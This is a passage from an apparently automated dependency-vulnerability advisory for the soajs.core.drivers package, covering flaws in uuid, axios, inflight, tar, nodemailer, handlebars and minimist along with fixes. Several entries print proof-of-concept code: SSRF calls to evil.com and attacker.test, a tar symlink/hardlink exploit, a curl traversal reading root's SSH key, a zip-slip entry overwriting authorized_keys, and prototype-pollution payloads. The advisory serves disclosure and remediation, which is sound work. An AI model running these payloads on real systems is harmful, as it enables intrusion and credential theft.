Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nodemailer to version 10.0.13 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: aws-sdk@2.178.0, ms-rest-azure@2.6.2 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › aws-sdk@2.178.0 › uuid@3.1.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › uuid@3.4.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › uuid@3.4.0
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: rimraf@3.0.0, kubernetes-client@8.3.4 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › rimraf@3.0.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › shelljs@0.8.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bunyan@1.8.14 › mv@2.1.1 › rimraf@2.4.5 › glob@6.0.4 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.
Note:
This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.
Remediation
Upgrade nodemailer to version 8.0.8 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.21.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Certificate Validation via the DNS cache in src/shared/index.ts, where the TLS server name (SNI) is stored alongside resolved addresses and keyed only by hostname. When two transports in the same process connect to the same host with different tls.servername values, the second transport inherits the server name cached by the first, sends it as SNI, and verifies the peer certificate against it. This allows an attacker to present a certificate issued for the first transport's server name to the second transport's connection, effectively bypassing certificate validation and enabling a MitM attack that exposes credentials sent to the wrong endpoint.
Remediation
Upgrade nodemailer to version 10.0.2 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the parseHeaders method of MessageParser in src/dkim/message-parser.ts, whose unfold loop appends each continuation line onto the preceding one and then re-tests the anchored /^[ \t]/ against the growing merged line, forcing a full flatten of the accumulated rope on every iteration. A user who can influence the size of a header that folds into many continuation lines, most readily a large recipient list but equally a long Subject, References, or custom header, can starve the event loop of the single threaded sending process for seconds on every signed message, halting all other work in it. This requires DKIM signing to be enabled, and nothing bounds the input, since checkHeaders buffers the header block until the terminator and the signer's MAX_MESSAGE_SIZE and cacheTreshold apply to the body stream rather than the headers, while the MIME composer folds the value deterministically at column 76 so the line count scales with the supplied size.
Remediation
Upgrade nodemailer to version 10.0.10 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.21.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolveContent() method in lib/mailer/mail-message.js. An attacker can read local files or trigger outbound URL fetches by supplying html or attachment content that is resolved through the legacy mail.resolveContent(data, key, callback) signature. When a plugin or application calls this API on a message created with disableFileAccess or disableUrlAccess, the access policy is dropped and the content resolver reaches fs.createReadStream() or nmfetch(), exposing server files or causing SSRF.
Remediation
Upgrade nodemailer to version 9.1.1 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.7.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.0.10.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.
POC
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script>
<script>
// compile the template
var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`;
var template = Handlebars.compile(s2, {
compat: true
});
// execute the compiled template and print the output to the console console.log(template({}));
</script>
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade handlebars to version 4.7.7 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: handlebars@4.7.3
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
